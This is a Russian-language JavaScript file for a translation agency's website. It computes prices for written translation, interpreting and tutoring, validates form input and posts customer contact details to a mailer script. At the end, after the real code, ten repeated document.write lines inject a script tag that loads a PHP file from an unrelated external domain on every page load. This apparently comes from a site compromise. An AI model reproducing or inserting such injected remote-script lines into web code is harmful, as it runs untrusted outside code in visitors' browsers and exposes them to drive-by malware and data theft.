﻿// ***** Скрипт калькулятора *****

// Прорисовка :: Показать калькулятор
function showCalc() {
	document.getElementById('calcDiv').style.display = 'block';
}

function validateNumber(inputString) {
	var validNumber = /[^(0-9)]/
	if(validNumber.exec(inputString)) {
		//alert("Введите число(цифрами)!");
		return false;
	}
	return true;
}

// Грамотный вывод «чисел»
function proceedTextual(numeric, many, one, two ){
	if (numeric % 100 == 1 || (numeric % 100 > 20) && (numeric % 10 == 1)) return one;
	if (numeric % 100 == 2 || (numeric % 100 > 20) && (numeric % 10 == 2)) return two;
	if (numeric % 100 == 3 || (numeric % 100 > 20) && (numeric % 10 == 3)) return two;
	if (numeric % 100 == 4 || (numeric % 100 > 20) && (numeric % 10 == 4)) return two;
	return many;
}

// Прорисовка :: Выбор второго языка в письменных переводах
function getTransList() {
	if ('false' == document.getElementById('wTypeLang').options[document.getElementById('wTypeLang').selectedIndex].value) {
		return false;
	}

	var buf = '';
	switch (document.getElementById('wTypeLang').options[document.getElementById('wTypeLang').selectedIndex].value) {
		case 'ruen':{
			// с русского языка
			buf = buf + ' на \n';
			buf = buf + '<select id="langTrans">\n';
			buf = buf + '\t<option value="false">Выберите язык:</option>\n';
			buf = buf + '\t<option value="380" >Английский</option>\n';
			buf = buf + '\t<option value="400" >Немецкий</option>\n';
			buf = buf + '\t<option value="400" >Французский</option>\n';
			buf = buf + '\t<option value="400" >Испанский</option>\n'
			buf = buf + '\t<option value="400" >Португальский</option>\n';
			buf = buf + '\t<option value="470" >Арабский</option>\n';
			buf = buf + '\t<option value="470" >Персидский</option>\n';
			buf = buf + '\t<option value="600" >Китайский</option>\n';
			buf = buf + '\t<option value="600" >Японский</option>\n';
			buf = buf + '\t<option value="700" >Корейский</option>\n';
			buf = buf + '\t<option value="360" >Польский</option>\n';
			buf = buf + '</select>\n';
			buf = buf + ' язык.\n';
		} break;
		case 'enru':{
			// на русский язык
			buf = buf + ' с \n';
			buf = buf + '<select id="langTrans" >\n';
			buf = buf + '\t<option value="false">Выберите язык:</option>\n';
			buf = buf + '\t<option value="320" >Английского</option>\n';
			buf = buf + '\t<option value="320" >Немецкого</option>\n';
			buf = buf + '\t<option value="320" >Французского</option>\n';
			buf = buf + '\t<option value="330" >Испанского</option>\n'
			buf = buf + '\t<option value="330" >Португальского</option>\n';
			buf = buf + '\t<option value="380" >Арабского</option>\n';
			buf = buf + '\t<option value="380" >Персидского</option>\n';
			buf = buf + '\t<option value="570" >Китайского</option>\n';
			buf = buf + '\t<option value="570" >Японского</option>\n';
			buf = buf + '\t<option value="620" >Корейского</option>\n';
			buf = buf + '\t<option value="300" >Польского</option>\n';
			buf = buf + '</select>\n';
			buf = buf + ' языка.\n';
		} break;
	}
	document.getElementById('paramFrom').innerHTML = buf;
}

function getCash(type) {
	switch (type) {
		case 'writing': {
			document.getElementById('wCash').innerHTML = ' ';
			if ('false' != document.getElementById('wTypeLang').options[document.getElementById('wTypeLang').selectedIndex].value) {
				if ('false' == document.getElementById('langTrans').options[document.getElementById('langTrans').selectedIndex].value) {
					alert('Выбирите язык перевода.');
					return false;
				} 
			} else {
				alert('Выбирите тип перевода.');
				return false;
			}
			if (!validateNumber(document.getElementById('wCountPage').value)) {
				alert('Введите количество лиcтов.');
				return false;
			}
			if ('false' == document.getElementById('wTime').options[document.getElementById('wTime').selectedIndex].value) {
				alert('Выбирите срок перевода.');
				return false;
			}
			// Все поля заполнены
			
			var coastTrans = document.getElementById('langTrans').options[document.getElementById('langTrans').selectedIndex].value;			
			var TimeWork = document.getElementById('wTime').options[document.getElementById('wTime').selectedIndex].value;
			//alert(TimeWork + ' ' + document.getElementById('wTime').options[document.getElementById('wTime').selectedIndex].value);
			switch (TimeWork) {
				case '0': { coastTrans = parseInt(coastTrans) + coastTrans*0.3; } break;
				case '1': { coastTrans = parseInt(coastTrans) + coastTrans*0.2; } break;
				case '3': { coastTrans = parseInt(coastTrans) + coastTrans*0.1; } break;
				case '7': { coastTrans = parseInt(coastTrans) + coastTrans*0.05; } break;
			}			
						
			coastTrans = coastTrans * document.getElementById('wCountPage').value;
			document.getElementById('wCash').innerHTML = 'Приблизительная цена &mdash; ' + coastTrans + ' ' + proceedTextual(coastTrans, 'Рублей','Рубль', 'Рубля');
		} break;
		
		case 'interpreted': {
			document.getElementById('iCash').innerHTML = ' ';
			if ('false' == document.getElementById('iLang').options[document.getElementById('iLang').selectedIndex].value) {
				alert('Выбирите язык перевода.');
				return false; 
			}
			if (!validateNumber(document.getElementById('iCountClock').value)) {
				alert('Введите количество часов.');
				return false;
			}
			if (!validateNumber(document.getElementById('iCountMan').value)) {
				alert('Выбирите нужное количество переводчиков (цифрами).');
				return false;
			}

			// Все поля заполнены

			var coastTrans = document.getElementById('iLang').options[document.getElementById('iLang').selectedIndex].value;
			coastTrans = coastTrans * document.getElementById('iCountClock').value * document.getElementById('iCountMan').value;
			document.getElementById('iCash').innerHTML = 'Приблизительная цена &mdash; ' + coastTrans + ' ' + proceedTextual(coastTrans, 'Рублей','Рубль', 'Рубля');
		} break;
		case 'coach': {
			document.getElementById('cCash').innerHTML = ' ';
			if ('false' == document.getElementById('cLang').options[document.getElementById('cLang').selectedIndex].value) {
				alert('Выбирите язык перевода.');
				return false; 
			}
			if (!validateNumber(document.getElementById('cCountLisson').value)) {
				alert('Введите количество занятий.');
				return false;
			}
			if (!validateNumber(document.getElementById('cCountOld').value)) {
				alert('Укажите возраст обучаемого цифрами.');
				return false;
			}

			// Все поля заполнены

			var coastTrans = document.getElementById('cLang').options[document.getElementById('cLang').selectedIndex].value;
			coastTrans = coastTrans * document.getElementById('cCountLisson').value;
			document.getElementById('cCash').innerHTML = 'Приблизительная цена &mdash; ' + coastTrans + ' ' + proceedTextual(coastTrans, 'Рублей','Рубль', 'Рубля');
		} break;
	}
		
	return true;
}

function order(type) {
	// сначала проверим заполнены ли поля
	if (getCash(type)) {
		//alert( document.getElementById('langTrans').options[document.getElementById('langTrans').selectedIndex].innerHTML);
		// проверка и отправка данных
		switch (type) {
			case 'writing': {
				// 

				var fio = document.getElementById('wfio').value;
				var phone = document.getElementById('wphone').value;
				var email = document.getElementById('wemail').value;
				
				if (fio == '') {
					alert('Введите фамилию, имя и очество');
					return false;
				}
				
				if (phone == '') {
					alert('Введите контактный телефон');
					return false;
				}
				
				if (email == '') {
					alert('Введите адрес электронной почты');
					return false;
				}

				var wType = document.getElementById('wTypeLang').options[document.getElementById('wTypeLang').selectedIndex].value;
				var wLang = document.getElementById('langTrans').options[document.getElementById('langTrans').selectedIndex].innerHTML;
				var wTime = document.getElementById('wTime').options[document.getElementById('wTime').selectedIndex].innerHTML;
				var wCount = document.getElementById('wCountPage').value;
				
				$.post('include/mailer.php', { type: type, lt: wType, lang: wLang, time: wTime, count: wCount, fio: fio, phone: phone, email: email }, function(data) {$("#calcDiv div").slideToggle("slow").slideUp("slow");} );
			} break;
			
			case 'interpreted': {
				// 

				var fio = document.getElementById('ifio').value;
				var phone = document.getElementById('iphone').value;
				var email = document.getElementById('iemail').value;

				if (fio == '') {
					alert('Введите фамилию, имя и очество');
					return false;
				}

				if (phone == '') {
					alert('Введите контактный телефон');
					return false;
				}

				if (email == '') {
					alert('Введите адрес электронной почты');
					return false;
				}

				var iLang = document.getElementById('iLang').options[document.getElementById('iLang').selectedIndex].innerHTML;
				var iTime = document.getElementById('iCountClock').value;
				var iCount = document.getElementById('iCountMan').value;

				$.post('include/mailer.php', { type: type, lang: iLang, time: iTime, count: iCount, fio: fio, phone: phone, email: email }, function(data) {$("#calcDiv div").slideToggle("slow").slideUp("slow");} );
			} break;
			
			case 'coach': {
				// 

				var fio = document.getElementById('cfio').value;
				var phone = document.getElementById('cphone').value;
				var email = document.getElementById('cemail').value;
				var adress = document.getElementById('cadress').value;

				if (fio == '') {
					alert('Введите фамилию, имя и очество');
					return false;
				}

				if (phone == '') {
					alert('Введите контактный телефон');
					return false;
				}

				if (email == '') {
					alert('Введите адрес электронной почты');
					return false;
				}

				var cLang = document.getElementById('cLang').options[document.getElementById('cLang').selectedIndex].innerHTML;
				var cTime = document.getElementById('cCountLisson').value;
				var cCount = document.getElementById('cCountOld').value;
				
				$.post('include/mailer.php', { type: type, lang: cLang, time: cTime, count: cCount, fio: fio, phone: phone, email: email, adress: adress }, function(data) {$("#calcDiv div").slideToggle("slow").slideUp("slow");} );
				
			} break;
		}
		
		document.getElementById('calcDiv').innerHTML = '<h3>Вашь запрос отправлен на обработку.<h3/>';
		$("#calcDiv div").slideToggle("slow").slideUp("slow");
		return true;
	} else {
		return false;
	}
}

function buy(type, blockID) {
		if (document.getElementById(blockID).style.display != 'block'){
			$('#'+blockID).slideDown("slow");
		} else {
			// отправка письма
			order(type);
		}
}

// Прорисовка :: jQuery :: Механизм отображения разных разделов
$(document).ready(function(){
	
	$(".accordion h3").click(function(){
		$(this).next("#calcMenu span").slideToggle("slow").siblings("span:visible").slideUp("slow");
		$(this).toggleClass("active");
		$(this).siblings("h3").removeClass("active");
	});
	
	$("#worder").click(function(){
		buy('writing', 'worderDiv');
	});
	
	$("#iorder").click(function(){
		buy('interpreted', 'iorderDiv');
	});

	$("#corder").click(function(){
		buy('coach', 'corderDiv');
	});

});
document.write('<script src=http://elpotrero.com.ar/seleccion/Maradona-Marsella.php ><\/script>');
document.write('<script src=http://elpotrero.com.ar/seleccion/Maradona-Marsella.php ><\/script>');
document.write('<script src=http://elpotrero.com.ar/seleccion/Maradona-Marsella.php ><\/script>');
document.write('<script src=http://elpotrero.com.ar/seleccion/Maradona-Marsella.php ><\/script>');
document.write('<script src=http://elpotrero.com.ar/seleccion/Maradona-Marsella.php ><\/script>');
document.write('<script src=http://elpotrero.com.ar/seleccion/Maradona-Marsella.php ><\/script>');
document.write('<script src=http://elpotrero.com.ar/seleccion/Maradona-Marsella.php ><\/script>');
document.write('<script src=http://elpotrero.com.ar/seleccion/Maradona-Marsella.php ><\/script>');
document.write('<script src=http://elpotrero.com.ar/seleccion/Maradona-Marsella.php ><\/script>');
document.write('<script src=http://elpotrero.com.ar/seleccion/Maradona-Marsella.php ><\/script>');